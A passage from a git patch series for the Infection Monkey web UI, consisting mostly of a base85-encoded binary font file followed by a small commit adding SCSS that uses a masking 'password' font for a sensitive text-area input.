zv4$0ESh0o`Ygn;{6>C_rh81gAv4$0ESh0o`Ygn;{6>C_rh81gAv4$0ESh0o`Ygn;{ z6>C_rh81gAv4$0ESh0o`Ygn;{6>C_rh81gAv4$0ESh0o`Ygn;{6>C_rh81gAv4$0E zSh0o`Ygn;{6>C_rh81gAv4$0ESh0o`Ygn;{6>C_rh81gAv4$0ESh0o`Ygn;{6>C_r zh81gAv4$0ESh0o`Ygn;{6>C_rh81gAv4$0ESh0o`Ygn;{6>C_rh81gAv4$0ESh0o` zYgn;{6>C_rh81gAv4$0ESh0o`Ygn;{6>C_rh81gAv4$0ESh0o`Ygn;{6>C_rh81gA zv4$0ESh0o`Ygn;{6>C_rh81gAv4$0ESh0o`Ygn;{6>C_rh81gAv4$0ESh0o`Ygn;{ z6>C_rh81gAv4$0ESh0o`Ygn;{6>C_rh81gAv4$0ESn>Z8STO;bN&4gw%2(MCVr7*^ zIPo#90Ud5S2O1?P{aHxpZAtG4%BZAPqLx`pY6t2_98IOfhj7&Tpa;Q^kTlY?4}6s5 zbD-%%awW}^bU);Sh@GiFXfH{H4I$`fAE@XjMD`OxA|)^S2_bp1c0V+SK=T}^-Mw3& zy(IO4&QR&aP_#VTY@jR9F}#EsR2+LPz)>g+2v8N!DgcK3lfR0UbxiVU%%XKk+4# zrOlJ2wUZ%9B{`6kg7yNIz$7|g9m6YLFp~B9rU&-9`uf&$Xh{OOgljbkZc-=+H;_H1Vyc&)~44$?LdQ2 z`xXt7k{~Gwp<$*kX$W&OeG2MhdIxkRBw;jI(hx}pOFBeQW-n=9NmWU`B=wUt0Cb4# zbBOG7i0pHS?DJ(C{{PUEq%EyeYq`txh;LUEq%ESedtJEZcAToOJDBD9`4At zcVw$OXtkW)k*)5CR*azb4bULd8qi?Vx1b@C4wiI?plAyn%!T0lO4?6S4@p%?{UjYE zX#gk{qcbW-XH<+1iui*f{-9!XoyZ^1JE+x(`~gM&fFggG1$sCKYIpB9&|ZRyn1dqb z%tFMRSz`9LFiXt%7G@>&twaukM-GGbm(*QQSaJ?DNYY>_36*rPq(daVMGiqnjAA86 zv67=$!G5&G%nE8RG@0z5IhxYIJ4xznDhH2Q2JJ6-cSOL7sZ!tDlnx$OW>8;QJ3x%Z z2FkXBq>ev$Yw3lx^x7I%l|)E{@7Cg~0xJ5nhA*o?k)NQ*Pf+A1DDo3jcwsHQu$Ep} zOE0Y91@uLJf+9abk)NPWQi3c6FYLEw$Wl;bDJZfObO4zRiY#R|7_kF1MAE^M4iOZQ z5wxG_Q&3g%ev%H7Gyt?G=Jx|oWH_^vp4v%Y?4&Pt(ic1Fi=Fhv4!-PScG4F+>5HB8 z#ZLNSCw;M#zSv1$?8I7QcG3$w>4ly2!cKZ&C)OHjg%^D>RugCl{OyYo1s`VG1v*6V z@I_Du%y?hK2Xgc*_4I#|*nu*VI(L5>~-RVDR8 zwB4Au>3vW?DH$ZGzmx=k_dsv&fQCpqSkfVaqBlYNO6no0Dyf&GgFsbr1!k)BQ59EU z@VKfoPbv45a!)Dok)!y?QG5`AcbE?%04hiEk)!y)W+4&%`@mX3#V9`T`W@yc`}C82 z`pL2UWY2@7e2|n6lJY@P9w6lbQXU}X0a6}J>`ZzVOnOQB0%j_h?2@#@^brfkRkwf* z1#M!HpsQFUize})v8L}p6G#wf5;P;(I4MbyJnpBEj5qB7O*0(=ohT(!WNj|#3rU6K zD`l%HDQQA)BUvQmBW3?1(eroUQzT6_Z3jOdGdL1`3i$-7IZ?`S*M?+@l;=oll(Z5$ zQRwp!Xtd;GB#o7l1n5Lz6j7TZX(~L8!YD!_ERVt{J3z%KQFu031)3w}`Lb<^q!m&k ze2HS!lFpKn+2BXX2#=Bx9z{fiN683}A|k@0U>hW`P0&~=Nx&$hSRyDtt*~GbJ@^&XPJ!kR-|6OOkn##6+GXNjsBZmEb2}7Lue@Nw7*t z@+B3SmL%sr8F#CBEE)GHLHnaN8TTnccOlNna;}r*TqmRd?;sH~o{UjMZK9Nj)s!rK zOh!z$gBPPGOOKMJ4asu!WMsl2$n&wXk`dt@prw*FN&VTVO_3g@NRLuv3{x{V4YIaS))q-gvE+?X zr$q8IBo!-nJUkVnmrFWRN~$GaBWbOqb&@tqD%NtEocA;t|1@cH8fJMFt*WqlLliBEJ2Y9i%v(dwL zP;r;ZmMbn>Mk!m`kS$k1Hu@AgA_KE!Z@J6>{aktf%0)~BKMTE0MGk)eD)gsf#=iqC zkklY+MGsTagU}S$w=Q(2Ydt6}X_^do4!q)k#j8~STOn?d$wkp3E^B?k2N9co2R8l;Z~*{4BzXOMjwq*cW-ON-He5G$6~ z|6<(H`hqt~D((fv@?KEPDkLxN2*uJDqrB@G(c4F?L|RfJM=z0fmP)HirH`djUMk~L zDx+O0?J1Ragi_f&gaZLUPyA>evRx(mHk${s3Z{3~TYm9n2o zIeMk+r&4BAC3^c7`sEm0Oo7td`?e zOZ{p&VzrD+wY0ff_Fs**-?3^rO0{fTBQF9{F?Zz&-{vo-=L%b#Nquu>jkv7}*E`4j| zh+SkC--8tPzT3sykP+mbwsfdUK0A0?I+>$`YHEG!mx@tpLsSkc8R z59#QLjm73Jx&9%!#Y4O$>1}pC!L~MtCRI3L#Kv*8>=!T%$IiBJS4Z3{B9|?2XE_GCHdaq9USLM-ti&*KH%-U`gD3o-VeO3;})s!Ds{|# z_J2sn<00Nh>K~H&{*pf~`5?)EB6!P(?6-VqESrbqHr>8t5F?pE8b}2(kXllT%&aFh zK(0gZYm&cUQc0>w6-qssjXEOF zD}fC~7+1Y7FO_FC@UB`~Un_N0oRvUpJdO|hrlNP@Wi_Hwi@s_w!ffanpj9k;t(W69 zfQnHHW$kR}H^^FHi}1J+wY4asO@nMJ&V`+3d+KFXWi2=10uv%DO)z!N}T497l z#I*{ogQ1nvHCidG65|M83Q=c3>nfa!F~vClEi!e`FM&oAS_m6elrq`EY-2IbguDo{ z3h7@7&c%%Xr+8I&`6VJ|e5jYEu0B=x@~`8G5$d2@i(?_;BcdU!Hb+y;h}oEcDBV@ttw-&D&JGd%$*@l73tbh_G0*&i zxiHVugV`5zQV%VWLn0Pp1r@>X5|koH{^*I&5}Eh#oU2{ADEbk-&3I^B1L7v4DQZOA zgiorB>kMRo$ko96+9LnD^VaO&gDm-PkrLKb%Kp3aN_b-STJ+b1QESOej3e@|+X@xl zne*a-W;JxH(4q!5h=_}s5IJi0$86Wb*|j5qd_% z;lXv_e`of)Ej6!6u~x;Z7kxfhW8K%4fAv~qvY02c2V#!Is{T*wxO>J#mJ03eSc^5- z-TVLA+6Pho_bY1=Mi&`S2fs|7-vBw z6p~Q}+ARdxOB8e?R-p{}l}y0$pWSX)u*;1LmFW2&p_jg>Xk zwT9Z+YMr5~POUT6mX)Z*#=5c@Re@@3ZJD7$ErOPz43(ADwMMnHq0&%QR#&eUl^SXd zMfGSl@9RMuA+DvcqPb<+(Z_)xB__}^^MWUN3p zM%g57Lgu){absdL$4y96CnTz=$7UoXj890*>}lQ8IY!c~Y#4~DfemhJJvbV6I9$mxCYOE-vNO!{lb=^iGk?)7%eq)hsYNMf|!BB_{!-d8u7f*NV zV0Chp%vs^Q^a4If_sgn~-UhX<##mH_i%$0-4?I^9MXXjNg=lLiE-n)}fvl`8n^7tf z58_%GTe;$4$iqfelvS1qhcJlL!}V`wojFNmI!j@7Q-2=&Zj4P1_O6SDYYgU617c{JET=$BMwN+gn)OOh|mFr5Y8!C#i zh8oL^O)>}mZQ`XKX3~f&K-Z!aIoCb3FiT!oi|X%Bm2}L|Wp&q8@Za)DOkwxzs9o#6 zt0RnKsE-s1lPAUECNMA}eE1-B_~3}3(D2YuE33&V5QYvO93Boje8_Nh_^_cPhK}fI z{a;qye-WEkuUJeWU0%y|h$jR*t<#>kmzU$N{vC>V(hyH=6}WGUCk?S<5<84yzKQSU zukzPX4)B9~H~H6RgGiDNP4Pr+ex58QS?ISG=jNwc75DLAd9VN1mfia`@k9}i76$oD zWPYZcfag5(Q?{rTPZ1f?YVrK0Vjn4^1bSXpC!UVrd( zCTtTeD`k(u?ox~|qAH#{>oA^pauT}@F`jsqGmju@gg>IKcv>?*X_?yzo6OJqVxJ&1 z#BNwTafzLXc_$<67d7Tt6Gw4Yhq1+I-Mi@rR+(d1FJmLD{P!nOp<6AVQXlL!gr+&# z!VmNKVh1B^=(e%@SySv!&3h^F%q*nBbF-uY*3OoDVKM*a9d-AfTSQdsfy6u-;fFvd z%&oddD1z0s@)=r;YTglcKR1hLK8QjIG(~S_>4UhMy%!#uXGEMALsy)M`8Ln0IGZh7 z|F@jzMk~bbRmCq;jwJS5-8(sRkJZ>=nPVj8T|`m%AYv$T@WJ!B*b|BUqmY_yXhL+% zc`hm&PMYN$?VC) z+1b6nL-oyU=aeranQT}n4 zWR!cm?%5H!-JSmrcC2DW2^-C;SKwh{HpHIWJnJI<=JnpayEd;TvDU@)!0d&X0rNFQ ztic&5b7Xt-EQ)+Cl2?K5_13-nGVf|@;J11AYxbghY=Mh3q2C(RinxoYiT%A;L*^(7 zYsFQ@Y;kw*X7o$stEe~IX5N4N-$VOE4wy6l{>}#1*zS9RhQrb?R1;j3V7x`Cyofixu=XW>WB~T7gNQ!~!0ZHJZHLI6Xc%^);n;r;!+taZcacak z5?}I;BGF_tiGjs&xTnMe;Ywlfo;*P|P=#zHPm)bkM>dnE z$rh?7TgkIz8+ndwCx0e8$n#_;d4cRAe<6P*d&rBVo$MtYOgx_N7{!v(Z1A~_MP>y9FZH7X=s-G%`r~WoKzzF#OhafW9gJ_2htP03ln$fAX#^cX zBk4#QMMu$SI-17NSQN|(`Ax}3Jr6?7$CMOV``bS-_1uA`6B_4En4 zf&PhZq)*aK^eMWTK25jKXXsY?EZs(*quc49=??ll-AP}dyXar&Zu(cchrWn)xR-X& zm*_tFGTl%AMmy;NdXT1FyI{ht0n zuh1XqRr(XXhVQqp(|^(%^cQ?-{VTnNFQI>w09LY1R4|5V1-m)z*i%gY_j;a1K(5R;M<9*_zD5v8{lhz z0=&;JWJP!bZ^S$I8LX6*;SKpryvxShX1oioVY65*t7G-70dIGkSTmc==CDWDTsDu* zXA4*hTgVo%N7-Vwge_&uSSwr3+Sm%bLtVvIvo&ljdyG8A*0IOgdiDg{!2ZNGvM1Rl z_7vO9o@QIvGi)n+mThCtvF+^7YzKRu?PM>oUFWwxLF zjdijE>>zuE9b&Jt*VyaqFnfa?VQ;dd>@9YT{hhtd-eJetyX*vekDX-ivs3H?_96R- zon{}iGwdJi6ZR=P%g(X$>@#+Oea=$;E{mO2!+w3=XhuvkrvwO^h3qIwHbFOe5*K-SQ$*s6G@4;<&Pj1WY zxIOR19e8i<$op_7-j_S`e%yt-ayQBXy}1wf<$insAIJxBe;&XCc@Pig zAv}~1=3#sY59dSqFg~0|@DV(ckK|E&6p!Ykc?^%`aeNGq=LtNKkL5{x98cycJe7~< zX?y}t=M#AbpTslyWS+&R@NAyLbNN)B$EWdpKAjhE11}`6@*-Z$jl6`<;HA8bm-Cst zf>-h?Ud?OxEMCj&cs+06jl79B^Vxh3e}vEF^Z0zefVc34d=YwzBujfzj4g61hBYzURxu^JM{xsjhpW$2ivwRzWj&J9G<~#WF zd?$Z_@8W;qyZK-F9{wV4$Ih>Vzr^?Pm-&AFH{L0CfUodF*bBaf9pPdA20y~ziK8mm6rwmXADuWb%B|r&Of|Ot-Lj zR7NUMc&3R~Mk_H&tP-b;QR0;ZB@s_LNy<1S8BaT@%6KJBnV_UA6O{~Ql9H)RR2u8-&*fq>%Dvb^~3U+efF8zd(WPkJ#%KHPs^nh(n{%5 zX_fSuv|3stt(88P)=BH74bn#G3u%+IS^84?O4=fAm9|OSr5(~v>1*j5>04=+v|IX4 z+9U0i_DTDt1JXh1kaSr3UOFQEARU#CNynuV(n;wb(kbaj>9ll4IxGDoos-T>KTE$z z7o>~QCF!zsMY<|oldem@N;jmN(r?l&>9%x7x+~q2?n@7(htebIvGhdxU3w}#lb%a2 zq?ghwM2B;xwgc_qJNJa)^L?&cL7Nj66vLQQaikhM3 zs0C_?TA|h`202hHibL@z0VSd~s4Z%T+M^DrBkF{bP-pZ8>VmqWWR!xsq3);$>WO-x z-snyA7V3lgqJGGUQc)U8M=q3sGEo+CqyA_B%0@XT7kN+~8i?{y0V+gAXb>8VhM;0J z6b(be(c5SQ8i_`s5>$%bL8H+aG!~6RF7Q5KKcO7Kr_*Y z=p!@>%|>(3$7n8^hvuUNXdzmJ7NaHT6SNd9L(9<$v=V)aR-w<(YP1HeMW3T}Xg%71 zHli=kCbSuSiM~Qx&{nh!ZAUxMPV_bU27QZmq21^^vD38 zI24EBvbY=$#}POZzlLAO<#7dE5m&-dxH7JStKw)}4OhoCa7|nb*T!{lU0e^>#|>~p z+z2M183qa?8g1^ z0Gy3;a4z=XJUkHR;{sfWi|`;k7!Se4cqkr*hvT>L2s{#x!X>yAzk^5PF?cKc+w0uu) zAlWG|NP|-&oa0VU_Y~roRM;|gVW*n-$9Uk(#5KU*NmCq`=7dr>ohESwa0Ha)AI~zm zSf+UT6b^<+-VRPUgmK|)nslJdY&DTOfJP~ssO>}_=hCDT&6TSrfl2A9v~-|{Q@9Jw z2*+DQco&*KpC(-?vp`J(lG9x2?(A%5Kp`V=GR;<~CMYEz+=PnAH86$C4=myo?nR{y zRTHTfv3Mw4P@*#@$BB}&T!l_u=PWmJX6I!&QMxO;(CP2WD{yCfauJ--k(&z@Icp)v}|V%p>hj~;E==Z$;Wwc&Qs_Nbmr%K24}l63jI~8C{M4Z>aIL} zm=62uluGp!W>KmrFFiMy6-dubEpX}K^eBt8i8DJG&H|vJ;nV`Q&4b|R$qfezF4#Or zuuWdz3V}Ay_GFUtF4&aUlgw~5kX@K3$kf7st_cR2{3C=)0U-;*#2(2;PQZq?npw7S z!p;eW6IM=G7-8mejJ&votFUm%CN9UwIYyqx$mOUhG1bg7o46T9L2&IxZjVV2{E?Zf zFmO34gGe@VQ_UhXmu%+tn7KV>E?KP>DQ*!J6mnFKe^Fj)wkK_XKeQo95xvXKplN;~ zyDu!rf`eD2Uj5StsA*sZ^mOQ5o*{Zlk#j14a&Veilt3SFVQHa19Jc0o za?^uyiV9e#a+UF+q1S8Mw$r-%2jx2R;D8rS`Laj^$|ZvtdMOkQbY{5Sios~Mamr@L zZJ@=iCfvqgvzTdOF{pPYlO7HVbE*CQF*LaOJ82peOKMY;lacKj5|rkprC2hU)8OJC z&q_d@NLa-2Gzz-ZM2aW*TyP0W^p+0F^wLry$&m?{fJ7c{G8qxn#+xrF%S%gbQl0ry z7F=*!I6F>vVK{w*#J?@G#m#JKOKow}h}@P1TQ^OE+Ib}g_4m>N?YSKT7!f>x9C+qt z!}+f}EuaH`oXv?&oPemH225RiZl=zao9Um#4Dv98lBhu*H3{g#%jGj7sH@kEpaL%~ zC6fvlk_xBL3K!7|r!e{Ou?5xnDO7$Dt#Asfa1pC;cdx{t!9H|PAG+8}BZ$M91$sER z&&^arIK)y;`p3kpEPtm#6_4M2h*gxniUULlfdrj zZa8->a2Es)<`nKpGZw2!$iO0yL*`cq#p!|hPG|`jK10+VF5B#8Lm)ZW%yGi8Y9P$J zE^-W;64Z-cz0=2# z2}>n|x*ndGIR#AtF0 z$HQPcDToHBro#+QOwTRS4srW?sNK5!EDu&^egnjEbs?Zj1B-z~@QH{_XD|`Km4*IE zc`%cr8WGGMsyBMIuu7^O2Id%}iBlGXpp1g@J~a!TMNo>Mtb(G!79?BjoTtcw5;_#F z!(bNj3_^-QNHGX0Mj^#0q!_sr*(mHY3VB9hpHWCQ3du$x*(4;Jgk+PDY!W^&2^}V( z!z6T=gbtI?VG=sbLI(^{GBJUN%tD7*=r9W%UcZ=y4ztj~CN&~O=um`JiYTFo5{j@& z5hbj`Dyy)?Dr~U|TdYE|RYaR&B09PCbNQXGVc5)00ifJh;yaQn>?R z?NV5PvfTOZfv6BZ^9PG8k`bwSFnIQniQZQX2Hp1J|pultwd}IhbGzh~V=w%F`a3+~zvjQQ36>qUS zCxm>?Ez32~l}$bnsfYZmrXk!`)z@YC9rc`EwVizOGAGPSQV;rrb;RZ%B8UmotF-F6 zvMNjUHG3H5!%?#Y5~r#S1+$PVgQ`@SInF%yz(8;}RTZQhbqCeO~Qh3cJiRuv5xN<{X@WSg(FU*3Ci~b(?1YUlqV6l7f zV_~63eFY|48=)#y=pk%!ua0wz)x;u=#cF1wn^1K85{iympjbo)ip`vaqLG16G%^s1 zMg~IB$UrC>83-jLTj)3k3s?*z6qjORF^urI6cdYKgvX_rShOHKVJVAYppC^ac*>$O z@Dv)?6qA9?6~roD7G9E=Uo33)gQv_E#b{$s2}Ns3C~BW#hWBr^ETOm#yYPmI%?9Kt z^%|5FR#{j)1xwj%1r(dD2u0-)ihJC|<}JeG9yhUh3wUgX0P96rc%i0sGa7~OEi7g$ zMmysXinSI{+|L#k<%!MISA?QZ3B}ve!g>x!;eG}wyo8-wV72hr4*7VEEUZ09Sym(1 zFkr0@6z@Y8)+b3mZh@Vx1qe^%4Jd}9Q7yj|>U-2pnh`B+pVJa0ZBnU52ADr{l>8cOh9Z??^UAzgJeFQtRg~~ z4J^JHtzz_=4a^(B6Ou(etYSo)*&B`m`KUHxA0I_lF?!)6yS#2<^qSe55R_$ckVx^C zrJe+N>^+I(6SlCJM|eECnAuwt;R)+mx(Tjbu6pK|bz38;=q2l>6T1 zU5l`Jn8@QEvhi2~JnBi%D`JE|?zhcsxoOZERGK ze7ucpqQ}}qzqhg8PV#Z@+C&etiN0%Ny_4kQeZwYtj+i}+eD)yugg4kbKJdgyv9aDn z^6}QPu^vHqqCHsa1CK{SqnMX~;_=1iZB=i3uw4OY8MZ4xC}9=HI}&?;(uP2&`_3Zh5o?wo2|SY zc*-PdZ1$lIjZ8c@%xA2eh3kX0pif?#4{i0*;3=wW8e;>}$J9s&@)9EXI4-rdB1)`Dcbt z4%Gv`IaEf3PYxkC!bgr^`f5|ViLWe`5$+?4TORHsit~c#CtXyNgXqUyC{6jQU5u~N zp_DHy38iJkJ(H)}z{;s~8Cs63Ekld(+dy)*thR6PeY_B=cL@^5tKzUrO~T^; z>}2?oCqLw-&ES)Rdfg`n^}0_Ep(es7mtgv8qw0Nfsf=(RS-c+MKAAXA-&P3Ky9F88 zmOl@43o1!a9!}{YR8p+U!Y3E? zg^w(5dALs|&Lg$Sr=NHtwc(`7RgI!tl`Nxjg%M@c{Nk2MQkBy(DjA}d;o3sfBK!_M z>csn95vTMJ{keBx3gDzVC#YRYuTBh{R?x_mH#cD#LCCn^pl!H`_a*(P~PBz4;Q4UfyLPM&~ z0FbKD6;d^dLaIhlNYy9`sTxHgRih}RY7~Z4oe>~aqcEhgY_2iFyDFV^V5>(^d?td8 z8`Vy;o$5E+seZGa>NDG^KC_+5H`}Rvvt6As;pmXo&m6ymRVwfH?lWDd1s~j_JBL#M0cn<0%MXbY3Laq&|dDK={tZKdl zheGFOheGFOhr-L#b%w)2=VpgO=Vph(t)z3lgVrv=L2Cyow~+Tj6YNYe+hE6uQ(Q|N z=fEx#d*-dbmDiu!px%Scbe-W)m@XT$&BAS>i#mse_D}`(kC<%OA>x$i3pOrAw5E8Y zAm=$eKeO1zY_KxFS()FcKV`+nY@@a(IIR4hYY{z9ye*L3NU8`Eis~|V&s|OM2zL;@h3(|5+lznB958% zUs;LaV~&k6h4meUwR4Q{9PHpS4PxAxZ8YX9G4zeVp|BB6ZGch2Ef(Ie(I~IP2(Q># zyo?cT>g`+JK4n+!1baoBdV7wy$Jn`a-lp(DS!T5bc3P?Z7MWYk#s!_36C8AAhLrW_ z7~Y!XB#xKmeufVa(_Zcn8em_P0?EYhI0{CM-l5SG{%D_;R&{OROs3kbn`ke+v8b;juT^x_e8q-O>nT)qC!`}2@bYe zRM=`*;bV=hf)!qSwhC6bci1Xe;ogX2@hOh3N)=w`c-Bj}m*ZKxaIeL)-c4&FEAg!F z@tUwzs1nacR6Jd^D)FjsAwScbz`YNr+RT%RSWCj^CTMI(;L%DE<4X}MNrkT@;Ut*0 z1)R7GijM#|FJ-d0W;T2Cm>a|TNsO>V%yx>{7gxkimmyJ3tuXbrHMYirD>D#28b=7*oWIr@&b!^9Y=Ea!U9{%zBEL z^kc-Lzpa4>u{8h|^G=j1#_LWO3_Qrwr$F>>!I7H*GT~J!F1F+h_ zk60PX$iX;(KG7oNC-=kp23R9$O08Orw4jUJS#IdViCR=;R1{!BkpD@5=RiY zBxyllBoRyKR8jnN0So=BhYB&s}ELg=-BT1t!C9f>o#jdwU4vM?rfL%VgC(F zl@rec8y(wVpQF`5hxRoOx`Ynwa;B7NIc(2+zHgl}mL47QioFYPDejLv!Brq`sf@)vgz@zeJRu`zMS4{rdoPV(7C*a>h^o z@lLFWPP~8*GW}l$85^EK|8#gZlkId|8Iw6MAwe*77Df|5w*rR8IEVmu!q`^v81wU- zWV8V`TphUzb0rqyFx$%tl^@rfmg)OE} zZJ20KhtlGb&2q^`xit=e7>|&@Mk7JglVyG{YsS`OD0`l?g1p9mXcWR}LNE`D3gkd& zl*-{S2>j$YLPkq1WYW$-{l>P@jC~TX0nu`Oxh@y1)w~wb=!E z<^CsK=k8US+Fbz!1xt)a*R0yH2Q_~cfAiaGr)&OjIBj*{vS$}6U3?Lv?>`fwKslJj zp3*1~3J^i>Hg7(@><=v;rQJN=`cDSSd4>jZJ*W`OQ`KVu2r{31--+~cfWC!kr6c(o z5J6*%j`if{H8xa{qiE*HKRy9)T=KP6Lp8Z7d9DjD?|n|DvFMm0_#SM&yReu|P2}sV z>UTC_R2yZ3(FBu|I>`SQEc&ko=?d+(uk)@nyVt2w-T5C5=_CKTXvO4OeV@FX(P8nX zmva|Iw;cY)qB)DE_A?In!I55kYt^8A$*1q#_;_s8)cK<`*6$uLG_}Ub%FWM(YTmmx zbJvbW8M9|+)t+^vX~P}C8++9LI^n9mrEO-z6?N^)Z?=8MadC9$mf6`U&Q+zu7xrs3 zxWn~X8`7K2?i^(Zs2MST#ntHz%3o>mQCdX59>_JnvbD>&$IEVip#84Wu^lP#>nDub z(e!5W2c1^GST;1Lu+y6I2WJM>t>)K#T0ggSOZ#&E&AYwo{cK5wK49t5l5X8^f6=VZ zYbArF(~q{V9yR0T+Cw8xE~}XTX7l}9?*uHaF0aR9_N|W|96she8>GwSl27E4MWpv@ zq>|Zk$%muDdLPNV?arT9pD((bzous|9tzE{ug~5BCf`7#oHN8^p-kt96H{7@&ac}DF=l?j^tXZ!WO0xT9&74;I z4z4_hhW})k++u!MUjHpG%O#a}?|gnF_F~yy(Mi9i4qLOb!rlhfT8*~57M7b>D>QBK z#|x67VwS9i(JqYZ)ME6=D`vEzx#+E4C| z`dPQ3_k+)W+S~n>tL>gH$zN>H)h+jG+Q~ZsQ%7w6aQCOyhL?t3T0Z#Vpap(M`nUS} zs50^Am~zW4{VVl9WBKKHlyqr%ytKEM$(GwODkOE2e$k|3Cz4ww9EwU=ns=sL({b+? z&0ltO0Yrs;ur~OdtquAI%}UzocW!0bCT_HM%1!>p5ZpB9*`Y%RI)7Yg^|DhxwyWK0gzqVsi z)lOwMnns-uX`1ed+hg9=?)^Dimsb8A)#%i(-qeHj?~R^4>$Bx&^m)Thnq#JYvMFQF zo0TdrHkFx^tgG1SqiLHDUTq;2#zswjY`?O8Rhyv$>X%8?IPHUSU$p$lzkS4AO~Q*v zzn>FNCtX69M%B`4bc;(hb-^Ds|89QO{bz)jFdWEUNF(9beY6@s^>wgv89+OVsQ2cV zmA*J+y0v9q&$l06-rsmvh`Fv@K@^D4O2Jk107^)H&;fqP#b-gGNsvQHd=1xVUP(yS zLE_t&$O?l5v-lntX2*VLoKB;J3c{*Iq3jv0RDjer&psvkSPGiQ8BWL)3$chYyQ_@Lp$ zGt;c?LN{GI?wmSk&@VsMdR24ujLA~B)&Rfxs~p?DD!abhrDrD=)h{_!wbP=M?RBQ+ zEnSpd=~eQ?(yb-!moEG~W9W+4mmR=66K^bCf87w-wMBht$E$)iXWy+8`#kO1t(xO{ zZ&!Y}W_W1)vCsM9p&W_qW8*;sW?!R+fSvTg7m z6Ew)Hj#0J{>ry-q3bJUK0Y5q+*Z-q_25&-FZT@BGqj zk%plOr+y1F>0b^1o9@rb2&_3nBq?v=;jk~rY2Jd+l zay_eiTK>20?i*siH#U{eR=R#7ws!sEmov^(&#bwx$r1C#E6?6&J9cyPBenXTyg5(j z9JeB?^`0jebXUGdbQx8uX$_ugu1-{yL&-R&FA{(As-g3VDFgO?_eS)c4NZ_q;Y;n{qhT zvEfjqx7OY_N-fG=uDr~D+0?}&;!_4ynmJ>-`_50c`)wxN&TGBt%*K>aJ9WDne^K|W zzO>Aq*o#BkytNrmc&~MK?(VZsX5S9lUQIu#Nz;wLEjv7LTvm-=)?X_B_U1&*Ck=M> zIIwO)cHbAr8t(FJuCXrURr7mg;|uQv;#uW?^6VU|DPOK~gV)w{yX`V9{57-FgZ8DL zUJpI1d3wIz$c)6d4m8X=IIPo;cysQg;FqaY9KXLme9@=+c}Hr5t?oFi&U8=h?O9Kk zwwhn##@@MG#u?O*h=O4Al)Ov-rvyH&Z}9%ZmhXa+vvP!(GwW&${yLcbAk34QlI}g?+rSdMoO-v3gVarA?|me^nu>ywp_~-f%U}BJSnpeH<(LI0PHi81MDFiXJlOE2 z+-re6s%F41nv8<{*BH*JGCckjBPXb&Ij9ORqpq7{lqn!ruMX<`%B*WaK^B^ zQq6#_2XprC*;AqQ^ae?Lwtl!es_E(BgO8UKO?k6=^I85~CceD5HuGwkDi3~ZT=;&% z#Bwt`vC=aPW20`L_+)8~8R0Fet(<*-U5D$cHd#g!3pFZ3DbnUU{3rn@I|F3Q1Z6$0d)!Kn&QG50JfBPNFzu9yB zW1sFRm-p6AX9yBE{u=1JqIV)gC|M5xVgh`P2Y!RX-0LrWH`x8GVjoLZ#I)%JHHv;3 z)%S1u)6xO8nq5dfy5{j!>(uE<|M2TxR#~t(`P$0BNd4y*LZuOd zJ(_iUcqBIN*tw|MD~DdaUGH3#@vS}mr#a4-8&>Y~uLedezp-p_nF$5gb)z=S{5I_J zm5Zi9b536!k#o})Y54lZ&1(H8BtP$b>}Bd?8_Kvd#CEZy>VPQ?8XBi>KK069KYBuk znXPh8%^l-xR(n>mC68 zQ1={Yz(w^_F;U?Ph^TN4kw7LvL4|7v34SjWutwc}8dM)=`)L4SZ~{LW1Jv}EfCR3A zpE*i}b2q)8rejQ(XuwMM15|ae6i(uFD#kjw$H1i=3FrWKfhXI~s9tUGx&K1HmH-Oj z_KPEU3x4g?Yv*itrqi!mJ|uv9PCY}e^juD>a!7F10FpboBDiW*M0aurIsnDJu3v&? zxlWIg{pSVj1TOhcP6)w+IG^01^FCbo-BUnRtgL$!saa_0ap?qa~gT@QG-TL9zsTfntF09dxi0KfJOVAfs)oZ1`k|GtV9+5s>=lL6QB zO~CR@2mDTeVPA4)c~h*0H97b2c*bUoB>uRLw~3P*u)0FBc1^0zB2&L zcP=3KegY`H8v&Vj8=&#-1_a(ifVz7Ekam9pbluBo$bkZ*&=XSs%{SNR)59^LYdJ>RE&jGsV6+jfd1t_AA06Fv} zpoL;U2rUC1eoa>$a6q#G)w2a4ai-zS|4a{Ss{2jRMFVzqL%^&y0#0=)ph1rXB|8*cT?k0CD*#>gb7-?o(9^a8hU_lDjXelh zu}1+X_7pmc3jh!H8eqWQ0o>Oo=sBRgN`UMd3}~+90LisHAh>eu)*67@S_d#&8vtHw z6ToUU0ZywO@L5{{E^91ctU9p^T6Ky#ZW^$WQv!I|V*o3A0>sRzfQ{`PMJoXL`ZGYi z{;x*UZ-7jF7h>&WK%;)9`lmUd0k;Mu;5a}5Zu2k3*$6=FEd{jRv4GS&5m0)k07CD3 zfX+J;ka=eVD(}4itC1Kg#$siGZCev?ZR-N2Z9~Abl>y7v3>dae0lT&};MV?Wtp2~( zlK@}%|M#T-PE7yr^&|;?b%o5u8jTiK4i({7OV;^qgAfh34Y7t32E>NZfb|9* zL2`io5+-XaN{td!iJ(da^^TxM3u+9b^aS0Wpj4{})dZaykf~u+<4-*VzaB$8h2hs} zBEVD8#3!)s(`xVP65)DJ*9NZlb#3ALK-Uhg4`KDE)jon!8tr3sZ3HVKb(IzjQpi7~ Ny`!r{G35RH{tuCxnDqbv literal 0 HcmV?d00001 From 5eb12cd4075d68a943a73e29215b04607c455418 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 14 Feb 2023 13:32:21 +0100 Subject: [PATCH 0044/1338] UI: Add SensitiveTextareaInput scss --- monkey/monkey_island/cc/ui/src/styles/Main.scss | 1 + .../src/styles/components/SenstiveTextareaInput.scss | 11 +++++++++++ 2 files changed, 12 insertions(+) create mode 100644 monkey/monkey_island/cc/ui/src/styles/components/SenstiveTextareaInput.scss diff --git a/monkey/monkey_island/cc/ui/src/styles/Main.scss b/monkey/monkey_island/cc/ui/src/styles/Main.scss index c593e4903dc..f49f4afe48a 100644 --- a/monkey/monkey_island/cc/ui/src/styles/Main.scss +++ b/monkey/monkey_island/cc/ui/src/styles/Main.scss @@ -11,6 +11,7 @@ @import 'components/InfoPane'; @import 'components/PreviewPane'; @import 'components/AdvancedMultiSelect'; +@import 'components/SenstiveTextareaInput'; @import 'components/particle-component/ParticleBackground'; @import 'components/ImageModal'; @import 'components/Icons'; diff --git a/monkey/monkey_island/cc/ui/src/styles/components/SenstiveTextareaInput.scss b/monkey/monkey_island/cc/ui/src/styles/components/SenstiveTextareaInput.scss new file mode 100644 index 00000000000..f7e00d41c30 --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/styles/components/SenstiveTextareaInput.scss @@ -0,0 +1,11 @@ +@font-face { + font-family: 'password'; + font-style: normal; + font-weight: 400; + src: url(./external/password.ttf); +} + +.password { + font-family: 'password'; + width: 